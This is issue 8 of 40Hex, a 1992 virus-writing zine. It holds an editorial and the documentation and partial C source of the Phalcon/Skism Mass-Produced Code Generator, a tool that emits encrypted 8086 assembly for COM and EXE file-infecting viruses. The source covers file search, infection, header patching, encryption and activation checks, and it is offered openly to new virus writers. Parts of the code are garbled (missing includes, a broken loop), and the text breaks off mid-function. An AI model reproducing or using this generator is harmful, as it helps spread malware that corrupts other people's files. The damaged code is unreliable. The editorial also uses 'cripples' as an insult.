40Hex Number 8 Volume 2 Issue 4
40Hex Number 8 Volume 2 Issue 4 File 000
Welcome to 40 Hex issue 8. First off, this month is going to be
Boot Sector Appreciation Month at 40Hex. We will have a fully
disassembled Michelangelo, along with a Pakistani Brain variant called
Ashar. But as always, there is a lot of other news that I have to
discuss with all you, so on with the show.
For the last couple months, we have recieved quite a bad rap on
Fidonet. This has to do with the original SKISM Viruses (Like SKISM
1-14). Like everyone, we had to start somewhere. So what if our
original virii blew large goats. Judge us on some of our newer stuff.
Oh, what is this you say? You can't find our newer stuff? Well,
neither can McAfee. Everyone will become enlightened soon enough.
Other people on Fido who have been giving us a hard time, think it
bothers us? Think again, we love it! One of our personal favorites is
Gary Watson, who amuses us with each new post, and Tag Line (which are
hysterical).
Secondly, Hellraiser is back as an author for 40Hex! He currently
doesn't have a modem, but he can at least do some slave work. Great to
have you back HR.
Another way in which 40Hex is going to help support virus community
is by the brand new PHALCON/SKISM Macintosh Programming Team! The four
people involved in that are Renegade, Sixo, Trojan, and Wintermute!
They will be cranking out a lot of quality Macintosh utilities, trojans
and other interesting things very soon! Look for them on all of our
BBS's.
-=PHALCON/SKISM=- Net will be arriving to a BBS near you very soon.
If you are interested, leave mail to any one of our fine support
systems.
40Hex-8 Table of contents
40Hex-8.000......................You Are Here!
40Hex-8.001......................PS-MPC (MassProducedCode)
40Hex-8.002......................Putav, an expose!
40Hex-8.003......................Findav -P/S- Style
40Hex-8.004......................Checkav -P/S- Original
40Hex-8.005......................StarShip Virus Info
40Hex-8.006......................Virus Spotlite: Michelangelo
40Hex-8.007......................EXE Infectors and you
40Hex-8.008......................Disassembly of ASHAR
40Hex-8.009......................Ear-6 source en Español
40Hex-8.010......................Letter to the Editor
Greetings to: The new and improved [NuKE], FirstStrike, Apache
Warrior, all PHALCON/SKISM Members, Backstabbers and everyone else we
forgot to greet!
-)GHeap
40Hex Number 8 Volume 2 Issue 4 File 001
Once again, -=PHALCON/SKISM=- pisses off the PD scene. Now anyone
can make their own virus, and give it to Gary Watson, the only guy on
Fidonet who we love. Without him, we would never get the fame that we
now covet so greatly. Well, that is until we got our official Pepsi
Gotta Have It Cards. Thank you Gary.
-) Gheap
----------------------------- Docs -n- code begin -----------------------------
PS-MPC
Pretty Slick Multimedia Personal Computer
(NOT)
Phalcon/Skism Mass-Produced Code Generator 0.90ß
Created by Dark Angel
TABLE OF CONTENTS
TABLE OF CONTENTS i
DEDICATION i
DISCLAIMER ii
PURPOSE ii
WHAT IS THE PS-MPC? 1
USING THE PS-MPC 1
NO ACTIVATION ROUTINES 1
WHY NO IDE 2
SOURCE CODE AVAILABILITY 2
PROBLEMS 2
FUTURE ENHANCEMENTS 2
HISTORY OF VIRUS TOOLKITS A
DEDICATION
The author hereby releases this program and its source code into the
public domain as "freeware." All code generated by the program must,
however, retain the designation of said program, although all other parts
may be modified at the user's discretion. The author dedicates this
program to both the virus and anti-virus communities, both of which profit
from the introduction of the Phalcon/Skism Mass-Produced Code Generator.
Thanks are due to NoWhere Man for his excellent program VCL, which
served as the inspiration for this package.
PS-MPC Documentation - i - Phalcon/Skism 1992
DISCLAIMER
This program may cause either the intentional or unintentional
disruption of normal brain wave activity of the user due to the extreme
shock quality of the program. The author hereby absolves himself of all
liability. Persons with pacemakers beware!
The code produced by the Phalcon/Skism Mass-Produced Code Generator
is not designed to be damaging; however, the author is not responsible for
incidental damages caused by use of the program. Further, the author is
not responsible for damages caused by changes to the code generated by the
PS-MPC. The author does not condone the illegal spread of executable code
created in part or in whole by the PS-MPC. All source code and executable
files created with the aid of the PS-MPC must be distributed with the reci-
pient's full knowledge of the contents. Malicious use of the code is
strictly prohibited.
PURPOSE
The Phalcon/Skism Mass-Produced Code Generator is not designed to
create malicious code; rather, it is a learning tool from which a person
may learn to write effective viral code. The code generated by the PS-MPC
is highly optimised for both size and speed and is therefore the code
generated can be used by the fledgling virus writer as a model for future
endeavours.
PS-MPC Documentation - ii - Phalcon/Skism 1992
WHAT IS THE PS-MPC?
The Phalcon/Skism Mass-Produced Code Generator is a tool which
generates viral code according to user-designated specifications. The
output is in Masm/Tasm-compatible Intel 8086 assembly and it is up to the
user to assemble the output into working executable form. The features of
the PS-MPC include the following:
o Over 150 encryption techniques, randomly generated during each run of
the PS-MPC
o Compact, commented code, much tighter than VCL
o COM/EXE infections
o Two types of traversals
o Optional infection of Command.Com
o Critical error handler support
USING THE PS-MPC
The syntax of the PS-MPC is simple:
PS-MPC ...
The parameters given to the PS-MPC are the names of the configuration
files. For example, to create two separate viruses using the configuration
files FOOBAR1.CFG and FOOBAR2.CFG, simply type "PS-MPC FOOBAR1.CFG
FOOBAR2.CFG" at the prompt.
The configuration file is a text file containing a set of parameters
which define the output of the PS-MPC. A sample configuration file,
SKELETON.CFG is included with the package. This configuration file
contains all the acceptable parameters that the PS-MPC will accept. It
also includes the defaults to each of these parameters. The configuration
file is self-explanatory, so there is no need to go into further detail at
this time.
When the Generator has completed creating the source code file/s,
simply assemble the output file/s with your favorite assembler/linker
combination. A multi-pass assembler is recommended. Masm is a poor choice
for an assembler; try Tasm. Masm requires the code to include extra
segment overrides which unnecessarily add to the code length. Masm 6.0 may
fix these problems (I'm not sure since I don't have it). Tasm, on the
other hand, is an excellent, fast, multipass assembler far superior to
Masm.
NO ACTIVATION ROUTINES
I have not included any activation routines in the package simply
because I do not think the power of creating potentially-destructive
viruses should be in the hands of persons incapable of coding a simple
activation routine in assembly. If you can rip a simple FAT-annihilator
out of another trojan, then I cannot stop you from doing so. But just
remember that the most memorable viruses are not necessarily those that
cause the most damage, but are usually those that have unusual activation
routines.
Upon finding activation conditions, the PS-MPC will generate a short
stub for the activation routine. This is located immediately after the
code for the restoration of the executable files. It is identified by the
label "activate" and is followed by a return. Insert your own activation
routine between those two lines.
PS-MPC Documentation - 1 - Phalcon/Skism 1992
WHY NO IDE (Integrated Development Environment)
Everyone agrees that Microsoft Windows is for cripples. Obviously,
you, the user of the PS-MPC, are no cripple, so you need no puny IDE with
colourful, deluxe windows to aid you. If you are a cripple, go ahead and
create the configuration file in your favorite Windows text editor. Hell,
port the code to the Macintosh and you can be truly crippled (although
you'll have your pretty windows and icons).
SOURCE CODE AVAILABILITY
This program is distributed with full source code. Although the
source should be self-explanatory, I have gone back and commented several
portions in order to facilitate understanding. The program was written in
Turbo C 2.0 and compiled in the tiny memory model. I trust that you will
not hack this program and call it your own. Source code is available only
because I think it will aid in your understanding of the program.
PROBLEMS
This program was written hastily. The bulk of the coding was
completed in under two days. Features were added by the process of
accretion during the following week. Needless to say, the code is now
extremely unmanageable. If there is enough interest in the package, I will
rewrite it in order to alleviate the strain caused in maintaining such
code. This will help in adding features as the need arises.
There MAY be some bugs in this version since it hasn't been thoroughly
tested yet. Report all bugs to me (duh). Be sure to save the configuration
file of the faulty code so the bug may be reproduced. Better yet, find the
problem, fix the C source, and send it to me. Zowie!
FUTURE ENHANCEMENTS
As you may have already noticed, this is a pre-1.0 release version of
the Generator. There are several features which I wish to add before
version 1.0. These include, but are not limited to, resident viruses,
padded-EXE infections (shorter routine), and better documentation(!). A
few surprises will be thrown in as well. I do not plan on increasing the
size of the PS-MPC.COM file dramatically, so with every addition will come
code to keep the increase in file size to a minimum. I do not intend to
devote too much time to the project as I personally don't actually use the
generator to spew out code for the group.
Note: The version included with 40Hex-8 is not the latest version. Due to
space considerations, we could not include the source code to version 0.91ß
which is somewhat larger.
PS-MPC Documentation - 2 - Phalcon/Skism 1992
HISTORY OF VIRUS TOOLKITS
The first known virus toolkit was called VCS, or Virus Construction
Set. This program generated a new virus each time it was run. However,
there were no code differences at all between any two viruses generated by
VCS. All viruses generated were 1077 bytes in length and all could be
detected with the identical scan string. The advantage in this approach
was that the user needed absolutely no knowledge of 8086 assembly to take
advantage of this program. This program of limited usefulness spawned only
one well-known variant called Manta. It is not even worth mentioning here.
The second virus toolkit was CrazySoft, Inc.'s Dark Avenger Mutation
Engine (MtE). This magnificent work of Bulgarian coding allowed virus
authors to create viruses with an almost limitless number of decryption
routines. Although the author needed to know how to write 8086 assembly
code, no knowledge of the inner workings of MtE save the entry parameters
was needed to use this toolkit. It has since spawned several viruses,
including Dedicated, Pogue, Fear, and Groove.
The next virus toolkit to be released was VCL, or Virus Construction
Laboratory. This was written by NoWhere Man of NuKE. This toolkit allowed
the user many options, including the creation of parasitic COM infectors,
spawning EXE infectors, trojan horses and logic bombs. Since it could only
handle parasitic infections of the COM file format, it was of limited
usefulness. Additionally, it incorporated only one decryption formula,
once again limiting its usefulness. Further, the initial release included
a quirky installation program which failed to install properly under
certain conditions. However, this package contained a colourful IDE
loosely based on the Borland interface. This IDE was incredibly simple to
use and even the average Joe could understand how to use it without
understanding 80x86 assembly. Unfortunately, the activation routines
included with the package were of limited usefulness. Most of these
involved manipulating the BIOS memory area at segment 40h.
PS-MPC Documentation - A - Phalcon/Skism 1992
------------------------------ Source code begins -----------------------------
/* FILE: VHEADER.H */
#ifndef __VHEADER_H
#define __VHEADER_H
/* infect */
#define COM 1
#define EXE 2
/* traverse */
#define NONE 0
#define DOT_DOT 1
typedef struct {
char always;
char number;
char month;
char day;
int year;
char dow;
int monthday;
char hour;
char minute;
char second;
char percentage;
} activation_conditions;
typedef struct {
unsigned infectCOM : 1;
unsigned infectEXE : 1;
unsigned traverse : 1; /* Currently only two types */
unsigned encrypt : 1;
unsigned int24 : 1;
unsigned CommandCom : 1;
unsigned allowzero : 1;
unsigned calls_check : 1;
} parameters;
typedef struct {
char configfilename[80];
char asmfilename[80];
char id[3];
char virusname[80];
char virusnamedelim;
char authorname[80];
char authornamedelim;
unsigned minsize, maxsize;
char maxinfect;
parameters p;
char xor_value;
char xor_comment[40];
char activation;
activation_conditions activate, plusminus;
} globals;
/* prototypes from vmain.c */
void print(char *s, char *t);
void printlabel(char *s, char *t);
void addvar(char *s, char *t, char *u);
void printblank(void);
/* prototypes from vheap.c */
void addheap(char *s, char *t, char *u);
void _addheap(char *s);
void resetheap(void);
/* code generating prototypes */
void code_header(void);
void code_encryption(void);
void code_setup(void);
void code_traversal(void);
void code_check_activation(void);
void code_return(void);
void code_activate(void);
void code_messages(void);
void code_check(void);
void code_infect(void);
void code_subroutines(void);
void code_variables(void);
void code_heap(void);
void code_tail(void);
#ifndef MAIN
extern globals config;
#endif
#endif /* __VHEADER_H */
----------------------------------- Cut Here ----------------------------------
/* FILE: VACTIVE.C */
#include "vheader.h"
void code_activate(void)
{
if (config.activation)
{
printlabel("activate:","Conditions satisfied");
printlabel("; Insert your activation code here","");
print("jmp exit_virus","");
printblank();
}
}
----------------------------------- Cut Here ----------------------------------
/* FILE: VCACTIVE.C */
#include "vheader.h"
void code_get_date(void);
void code_get_time(void);
void code_jmp(char c);
char coded_date, coded_time, Activation;
void code_check_activation(void)
{
char b[80];
coded_date = coded_time = 0;
Activation = config.activation;
if (config.activate.always)
printlabel("jmp activate","Always activate");
else {
if (config.activate.month) {
code_get_date();
sprintf(b,"cmp dh,%d",config.activate.month);
print(b,"Check month");
code_jmp(config.plusminus.month);
}
if (config.activate.day) {
code_get_date();
sprintf(b,"cmp dl,%d",config.activate.day);
print(b,"Check date");
code_jmp(config.plusminus.day);
}
if (config.activate.year) {
code_get_date();
sprintf(b,"cmp cx,%u",config.activate.year);
print(b,"Check year");
code_jmp(config.plusminus.year);
}
if (config.activate.dow != 255) {
code_get_date();
sprintf(b,"cmp al,%d",config.activate.dow);
print(b,"Check date of week");
code_jmp(config.plusminus.dow);
}
if (config.activate.monthday) {
code_get_date();
sprintf(b,"cmp dx,0%xuh",config.activate.monthday);
print(b,"Check month/date");
code_jmp(config.plusminus.monthday);
}
if (coded_date) printblank();
if (config.activate.hour != 255) {
code_get_time();
sprintf(b,"cmp ch,%d",config.activate.hour);
print(b,"Check the hour");
code_jmp(config.plusminus.hour);
}
if (config.activate.minute != 255) {
code_get_time();
sprintf(b,"cmp cl,%d",config.activate.minute);
print(b,"Check the minute");
code_jmp(config.plusminus.minute);
}
if (config.activate.second != 255) {
code_get_time();
sprintf(b,"cmp dh,%d",config.activate.second);
print(b,"Check the seconds");
code_jmp(config.plusminus.second);
}
if (config.activate.percentage) {
code_get_time();
sprintf(b,"cmp dl,%d",config.activate.percentage);
print(b,"Check the percentage");
code_jmp(-1);
if (coded_time) printblank();
}
}
}
void code_jmp(char c)
{
if (--Activation) {
if (c == 1)
print("jb exit_virus","");
else if (c == 0)
print("jnz exit_virus","");
else if (c == 255)
print("ja exit_virus","");
} else {
if (c == 1)
print("jae config.activate","");
else if (c == 0)
print("jz config.activate","");
else if (c == 255)
print("jbe config.activate","");
}
}
void code_get_date(void)
{
if (!coded_date) {
print("mov ah,2ah","Get current date");
print("int 21h","");
coded_date++;
}
}
void code_get_time(void)
{
if (!coded_time) {
print("mov ah,2ch","Get current time");
print("int 21h","");
coded_time++;
}
}
----------------------------------- Cut Here ----------------------------------
/* FILE: VCHECK.C */
#include "vheader.h"
void checkCOM(void);
void code_check(void)
{
if (config.p.calls_check)
printlabel("infect_mask:","");
print("mov ah,4eh","find first file");
print("mov cx,7","any attribute");
printlabel("findfirstnext:","");
print("int 21h","DS:DX points to mask");
if (config.p.calls_check)
print("jc exit_infect_mask","No mo files found");
else
print("jc done_infections","No mo files found");
printblank();
print("mov al,0h","Open read only");
print("call open","");
printblank();
print("mov ah,3fh","Read file to buffer");
print("lea dx,[bp+buffer]","@ DS:DX");
print("mov cx,1Ah","1Ah bytes");
print("int 21h","");
printblank();
print("mov ah,3eh","Close file");
print("int 21h","");
printblank();
if (config.p.infectEXE) {
if (config.p.infectCOM) {
print("cmp word ptr [bp+buffer],'ZM'","EXE?");
print("jz checkEXE","Why yes, yes it is!");
checkCOM();
}
printlabel("checkEXE: cmp word ptr [bp+buffer+10h],id","is it already infected?");
print("jnz infect_exe","");
} else
checkCOM();
printlabel("find_next:","");
print("mov ah,4fh","find next file");
print("jmp short findfirstnext","");
if (config.p.calls_check) {
printlabel("exit_infect_mask: ret","");
printblank();
}
}
void checkCOM(void)
{
char s[80];
printlabel("checkCOM:","");
if (!config.p.CommandCom)
{
print("mov ax,word ptr [bp+newDTA+35]","Get tail of filename");
print("cmp ax,'DN'","Ends in ND? (commaND)");
print("jz find_next","");
printblank();
}
print("mov ax,word ptr [bp+newDTA+1Ah]","Filesize in DTA");
if (config.minsize)
{
if (config.minsize == 1) /* automatic calculation */
if (config.p.encrypt)
strcpy(s,"cmp ax,(heap-decrypt)");
else
strcpy(s,"cmp ax,(heap-startvirus)");
else /* if (minsize != 1) */
sprintf(s,"cmp ax,%u",config.minsize);
print(s,"Is it too small?");
print("jb find_next","");
printblank();
}
if (config.maxsize)
{
if (config.maxsize == 1) /* automatic calculation */
if (config.p.encrypt)
strcpy(s,"cmp ax,65535-(endheap-decrypt)");
else
strcpy(s,"cmp ax,65535-(endheap-startvirus)");
else
sprintf(s,"cmp ax,%u",config.maxsize);
print(s,"Is it too large?");
print("ja find_next","");
printblank();
}
print("mov bx,word ptr [bp+buffer+1]","get jmp location");
if (config.p.encrypt)
print("add bx,heap-decrypt+3","Adjust for virus size");
else
print("add bx,heap-startvirus+3","Adjust for virus size");
print("cmp ax,bx","");
print("je find_next","already infected");
print("jmp infect_com","");
}
----------------------------------- Cut Here ----------------------------------
/* VENCRYPT.C */
#include
#include "vheader.h"
void code_loop_count(void);
void code_loop_start(void);
void code_decrypt_code(void);
char mem_counter;
char mem_registers[4][3] = {
"bx",
"bp",
"si",
"di"
};
char loop_counter;
char loop_registers[7][3] = {
"ax", "bx", "cx", "dx", "bp", "si", "di"
};
char xor_registers[4][2] = {
{ 0x81, 0x37 },
{ 0x81, 0x76 },
{ 0x81, 0x34 },
{ 0x81, 0x35 }
};
char add_registers[4][2] = {
{ 0x81, 0x07 }, /* add [bx],xxxx / db 81h, 7h,xxh,xxh */
{ 0x81, 0x46 }, /* add [bp],xxxx / db 81h,46h,00,xxh,xxh */
{ 0x81, 0x04 },
{ 0x81, 0x05 },
};
void code_encryption(void)
{
if (config.p.encrypt) {
srand(peek(0,0x46C));
printlabel("decrypt:","handles encryption and decryption");
if ((loop_counter = random(10)) > 6) /* if out of bounds */
loop_counter = 2; /* set it = to cx */
while (1) {
mem_counter = random(4);
if (strcmp(mem_registers[mem_counter = random(4)],
loop_registers[loop_counter]))
break;
}
if (random(2)) {
code_loop_count();
code_loop_start();
} else {
code_loop_start();
code_loop_count();
}
code_decrypt_code();
}
}
void code_loop_count(void)
{
char b[80];
sprintf(b,"mov %s,(offset heap - offset startencrypt)/2",
loop_registers[loop_counter]);
print(b,"iterations");
}
void code_loop_start(void)
{
char b[80];
printlabel("patch_startencrypt:","");
sprintf(b,"mov %s,offset startencrypt",
mem_registers[mem_counter]);
print(b,"start of decryption");
}
void code_decrypt_code(void)
{
char b[80],c[80];
printlabel("decrypt_loop:","");
config.xor_value = 0;
switch (random(2))
{
case 0 : sprintf(b,"db %s%2.2xh,%2.2xh%s",
(config.p.infectEXE) ? "2eh," : "", xor_registers[mem_counter][0],
xor_registers[mem_counter][1],(mem_counter == 1) ? ",0":"");
sprintf(c,"xor word ptr %s[%s], xxxx",
(config.p.infectEXE) ? "cs:" : "",mem_registers[mem_counter]);
break;
case 1 : sprintf(b,"db %s%2.2xh,%2.2xh%s",
(config.p.infectEXE) ? "2eh," : "", add_registers[mem_counter][0],
add_registers[mem_counter][1],(mem_counter == 1) ? ",0":"");
sprintf(c,"add word ptr %s[%s], xxxx",
(config.p.infectEXE) ? "cs:" : "",mem_registers[mem_counter]);
config.xor_value = 0x28;
strcpy(config.xor_comment,"flip between add/sub");
break;
}
print(b,c);
printlabel("decrypt_value dw 0","initialised at zero for null effect");
sprintf(c,"inc %s",mem_registers[mem_counter]);
print(c,"calculate new decryption location");
print(c,"");
if (loop_counter - 2)
{
sprintf(b,"dec %s",loop_registers[loop_counter]);
print(b,"If we are not done, then");
print("jnz decrypt_loop","decrypt mo'");
} else
print("loop decrypt_loop","decrypt mo'");
printlabel("startencrypt:","");
}
----------------------------------- Cut Here ----------------------------------
/* FILE: VHEADER.C */
#include "vheader.h"
void code_header(void)
{
char b[80];
sprintf(b,"; %s : %s by %s",config.asmfilename,
(config.virusname[0]) ? config.virusname : "Unknown",
(config.authorname[0])? config.authorname: "Unknown");
printlabel(b,"");
printlabel("; Created wik the Phalcon/Skism Mass-Produced Code Generator","");
sprintf(b,"; from the configuration file %s",config.configfilename);
printlabel(b,"");
printblank();
printlabel(".model tiny","Handy directive");
printlabel(".code","Virus code segment");
print("org 100h","COM file starting IP\n");
if (config.p.infectEXE)
{
sprintf(b,"id = '%s'",config.id);
printlabel(b,"ID word for EXE infections");
}
if (config.p.infectCOM)
if (config.p.encrypt)
printlabel("entry_point: db 0e9h,0,0","jmp decrypt");
else
printlabel("entry_point: db 0e9h,0,0","jmp startvirus");
printblank();
}
----------------------------------- Cut Here ----------------------------------
/* FILE: VHEAP.C */
#include "vheader.h"
char heap[30][80];
char max;
void code_heap(void)
{
printlabel("heap:","Variables not in code");
if (max)
while (max--)
printlabel(heap[max],"");
else
printlabel("; No heap to speak of","");
printlabel("endheap:","End of virus");
}
void addheap(char *s, char *t, char *u)
{
if (*u)
sprintf(heap[max++],"%-20.20s%-20.20s; %-37.37s",s,t,u);
else
sprintf(heap[max++],"%-20.20s%s",s,t);
}
void _addheap(char *s)
{
strcpy(heap[max++],s);
}
void resetheap(void)
{
max=0;
}
----------------------------------- Cut Here ----------------------------------
/* FILE: VINFECT.C */
#include "vheader.h"
void write_encrypt(void);
void code_infect_EXE(void);
void code_infect(void)
{
if (config.p.infectEXE) {
printlabel("infect_exe:","");
code_infect_EXE();
if (config.p.infectCOM)
print("jmp short finishinfection","");
}
if (config.p.infectCOM) {
printlabel("infect_com:","ax = filesize");
print("mov cx,3","");
print("sub ax,cx","");
print("lea si,[bp+offset buffer]","");
print("lea di,[bp+offset save3]","");
print("movsw","");
print("movsb","");
print("mov byte ptr [si-3],0e9h","");
print("mov word ptr [si-2],ax","");
if (config.p.encrypt)
{
print("add ax,103h","");
print("push ax","needed later");
}
}
printlabel("finishinfection:","");
print("push cx","Save # bytes to write");
print("xor cx,cx","Clear attributes");
print("call attributes","Set file attributes");
printblank();
print("mov al,2","");
print("call open","");
printblank();
print("mov ah,40h","Write to file");
print("lea dx,[bp+buffer]","Write from buffer");
print("pop cx","cx bytes");
print("int 21h","");
printblank();
print("mov ax,4202h","Move file pointer");
print("xor cx,cx","to end of file");
print("cwd","xor dx,dx");
print("int 21h","");
printblank();
if (config.p.encrypt) {
write_encrypt();
} else {
print("mov ah,40h","Concatenate virus");
print("lea dx,[bp+startvirus]","");
print("mov cx,heap-startvirus","# bytes to write");
print("int 21h","");
printblank();
}
print("mov ax,5701h","Restore creation date/time");
print("mov cx,word ptr [bp+newDTA+16h]","time");
print("mov dx,word ptr [bp+newDTA+18h]","date");
print("int 21h","");
printblank();
print("mov ah,3eh","Close file");
print("int 21h","");
printblank();
print("mov ch,0","");
print("mov cl,byte ptr [bp+newDTA+15h]","Restore original");
print("call attributes","attributes");
printblank();
if (config.maxinfect)
{
print("dec byte ptr [bp+numinfec]","One mo infection");
print("jnz mo_infections","Not enough");
if (config.p.calls_check)
print("pop ax","remove call from stack");
print("jmp done_infections","");
}
printlabel("mo_infections: jmp find_next","");
printblank();
}
void write_encrypt(void)
{
if (!config.p.allowzero)
printlabel("get_encrypt_value:","");
print("mov ah,2ch","Get current time");
print("int 21h","dh=sec,dl=1/100 sec");
if (!config.p.allowzero) {
print("or dx,dx","Check if encryption value = 0");
print("jz get_encrypt_value","Get another if it is");
}
print("mov [bp+decrypt_value],dx","Set new encryption value");
addheap("code_store:","db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?)","");
_addheap("; The following code is the buffer for the write function");
print("lea di,[bp+code_store]","");
print("mov ax,5355h","push bp,push bx");
print("stosw","");
print("lea si,[bp+decrypt]","Copy encryption function");
print("mov cx,startencrypt-decrypt","Bytes to move");
print("push si","Save for later use");
print("push cx","");
print("rep movsb","");
printblank();
if (config.xor_value)
{
char b[80];
sprintf(b,"xor byte ptr [bp+decrypt_loop+%c],0%2.2xh",
(config.p.infectEXE) ? '2' : '1', config.xor_value);
print(b,config.xor_comment);
printblank();
}
print("lea si,[bp+write]","Copy writing function");
print("mov cx,endwrite-write","Bytes to move");
print("rep movsb","");
print("pop cx","");
print("pop si","");
print("pop dx","Entry point of virus");
print("push di","");
print("push si","");
print("push cx","");
print("rep movsb","Copy decryption function");
print("mov ax,5b5dh","pop bx,pop bp");
print("stosw","");
print("mov al,0c3h","retn");
print("stosb","");
printblank();
print("add dx,offset startencrypt - offset decrypt","Calculate new");
print("mov word ptr [bp+patch_startencrypt+1],dx","starting offset of");
print("call code_store","decryption");
print("pop cx","");
print("pop di","");
print("pop si","");
print("rep movsb","Restore decryption function");
printblank();
}
void code_infect_EXE(void)
{
print("les ax, dword ptr [bp+buffer+14h]","Save old entry point");
print("mov word ptr [bp+jmpsave2], ax","");
print("mov word ptr [bp+jmpsave2+2], es","");
printblank();
print("les ax, dword ptr [bp+buffer+0Eh]","Save old stack");
print("mov word ptr [bp+stacksave2], es","");
print("mov word ptr [bp+stacksave2+2], ax","");
printblank();
print("mov ax, word ptr [bp+buffer + 8]","Get header size");
print("mov cl, 4","convert to bytes");
print("shl ax, cl","");
print("xchg ax, bx","");
printblank();
print("les ax, [bp+offset newDTA+26]","Get file size");
print("mov dx, es","to DX:AX");
print("push ax","");
print("push dx","");
printblank();
print("sub ax, bx","Subtract header size from");
print("sbb dx, 0","file size");
printblank();
print("mov cx, 10h","Convert to segment:offset");
print("div cx","form");
printblank();
print("mov word ptr [bp+buffer+14h], dx","New entry point");
print("mov word ptr [bp+buffer+16h], ax","");
printblank();
print("mov word ptr [bp+buffer+0Eh], ax","and stack");
print("mov word ptr [bp+buffer+10h], id","");
printblank();
print("pop dx","get file length");
print("pop ax","");
printblank();
if (config.p.encrypt)
print("add ax, heap-decrypt","add virus size");
else
print("add ax, heap-startvirus","add virus size");
print("adc dx, 0","");
printblank();
print("mov cl, 9","");
print("push ax","");
print("shr ax, cl","");
print("ror dx, cl","");
print("stc","");
print("adc dx, ax","");
print("pop ax","");
print("and ah, 1","mod 512");
printblank();
print("mov word ptr [bp+buffer+4], dx","new file size");
print("mov word ptr [bp+buffer+2], ax","");
printblank();
print("push cs","restore ES");
print("pop es","");
printblank();
if (config.p.encrypt)
print("push word ptr [bp+buffer+14h]","needed later");
print("mov cx, 1ah","");
}
----------------------------------- Cut Here ----------------------------------
/* FILE: VMAIN.C */
/* The Phalcon/Skism Mass-Produced Code Generator *
* Version 0.90ß - 27 Jul 92 - Initial Release *
* Written by Dark Angel of Phalcon/Skism *
* Source code released with 40Hex-8 *
*/
#include
#define MAIN
#include "vheader.h"
#undef MAIN
globals config;
void parse_config(void);
unsigned getnumber(int line, char *d, char ok, char *next);
char getyn(int line, char *d);
void setplusminus(char *a, char b);
void parseactivate(int line, char *d, char min, char max, char *a, char *b,char *s);
void printerror(int line, char c);
void getDBname(char *orig, char *name,char *delim);
FILE *fp;
void main(int argc, char **argv)
{
char c,filename[80];
puts("PS-MPC ■ Phalcon/Skism Mass Produced Code Generator");
puts(" ■ Version 0.90ß Written by Dark Angel\n");
if (argc < 2)
{
puts("Syntax: PS-MPC ...");
puts(" file1 = name of first configuration file");
puts(" file2 = name of second configuration file");
}
for (c=1;c 40)
fputc(' ',fp);
fprintf(fp,"; %s",t);
} else /* if (*t) */
fprintf(fp,s);
fprintf(fp,"\n");
}
void addvar(char *s, char *t, char *u)
{
char b[80];
if (*u)
sprintf(b,"%-20.20s%-20.20s; %s",s,t,u);
else
sprintf(b,"%-20.20s%s",s,t);
printlabel(b,"");
}
void parse_config(void)
{
char b[80];
char *c, *d;
int line = 0;
globals default_globals = {
"", /* Configuration file name */
"", /* Source code file name */
" ", /* EXE ID Word */
"", /* Virus name */
'\'', /* Deliminator for virus name */
"", /* Author name */
'\'', /* Deliminator for author name */
0, /* Minimum COM size for infection */
0, /* Maximum COM size for infection */
0, /* Infections per run */
{ 0,0,NONE,0,0,0,0 }, /* flags */
0, /* xor value */
"", /* xor comment */
0, /* number of activation conditions */
{ 0,0,0,0,0,-1,0,-1,-1,-1,0 }, /* activation conditions */
{ 0,0,0,0,0, 0,0, 0, 0, 0,-1} /* plusminus activation conditions */
};
config = default_globals;
while (1)
{
line++;
b[0]=0;
c = fgets(b,100,fp);
if (!b[0])
break;
while (isspace(*c)) c++; /* skip initial spaces */
if (!*c || *c == ';') continue; // check if this line is a comment
d = c;
while (!isspace(*d)) d++; /* isolate one word */
*d++ = 0; /* NULL terminate it */
while (isspace(*d) || (*d == '=')) d++;
if (!stricmp(c,"filename"))
{
c = d;
while (!isspace(*d)) d++; /* isolate filename */
*d = 0;
strcpy(config.asmfilename,c);
}
else if (!stricmp(c,"traversal"))
switch (toupper(*d))
{
case 'N' : config.p.traverse = NONE; break;
case 'D' : config.p.traverse = DOT_DOT; break;
default : printerror(line,*d);
}
else if (!stricmp(c,"encryption")) config.p.encrypt = getyn(line,d);
else if (!stricmp(c,"infect")) {
while (!isspace(*d)) {
switch (toupper(*d))
{
case 'C' : config.p.infectCOM = 1; break;
case 'E' : config.p.infectEXE = 1; break;
case ',' : break;
default : printerror(line,*d);
}
d++;
}
}
else if (!stricmp(c,"idword")) {
config.id[0] = (isspace(*d)) ? ' ' : *d;
config.id[1] = (isspace(*(d+1))) ? ' ' : *(d+1);
config.id[2]=0;
}
else if (!stricmp(c,"minsize")) {
if (toupper(*d) == 'A')
config.minsize = 1;
else {
config.minsize = getnumber(line,d,0,0);
if (config.maxsize > 1)
if (config.minsize > config.maxsize)
puts("Error: minsize is greater than maxsize!");
}
}
else if (!stricmp(c,"maxsize")) {
if (toupper(*d) == 'A')
config.maxsize = 1;
else {
config.maxsize = getnumber(line,d,0,0);
if (config.minsize > 1)
if (config.maxsize < config.minsize)
printf("Error: minsize is greater than maxsize!\n");
}
}
else if (!stricmp(c,"infections"))
config.maxinfect = (unsigned char)getnumber(line,d,0,0);
else if (!stricmp(c,"errorhandler"))
config.p.int24 = getyn(line,d);
else if (!stricmp(c,"commandcom"))
config.p.CommandCom = getyn(line,d);
else if (!stricmp(c,"virusname"))
getDBname(d,config.virusname,&config.virusnamedelim);
else if (!stricmp(c,"authorname"))
getDBname(d,config.authorname,&config.authornamedelim);
else if (!stricmp(c,"allowzero"))
config.p.allowzero = getyn(line,d);
else if (!stricmp(c,"always")) {
config.activate.always = getyn(line,d);
if (config.activate.always) config.activation++;
}
else if (!stricmp(c,"ifmonth"))
parseactivate(line,d,1,12,&config.activate.month,&config.plusminus.month,"month");
else if (!stricmp(c,"ifday"))
parseactivate(line,d,1,31,&config.activate.day,&config.plusminus.day,"day");
else if (!stricmp(c,"ifyear"))
{
config.activate.year = getnumber(line,d,'+',d);
setplusminus((char *)&config.plusminus.year,*d);
config.activation++;
}
else if (!stricmp(c,"ifdow"))
parseactivate(line,d,0,6,&config.activate.dow,&config.plusminus.dow,"date of week");
else if (!stricmp(c,"ifmonthday"))
{
int tempint;
char temp=(char)getnumber(line,d,',',d);
if ((temp < 1) || (temp > 12))
printf("Invalid month: %d. Must range between 1 and 12.\n",temp);
else {
d++;
tempint = temp*0x100;
temp=(char)getnumber(line,d,'+',d);
if ((temp < 1) || (temp > 31))
{
printf("Invalid day: %d. Must range between 1 and 31.\n",temp);
} else {
config.activate.monthday=tempint + temp;
setplusminus((char *)&config.plusminus.monthday,*d);
config.activation++;
}
}
}
else if (!stricmp(c,"ifhour"))
parseactivate(line,d,0,23,&config.activate.hour,&config.plusminus.hour,"hour");
else if (!stricmp(c,"ifminute"))
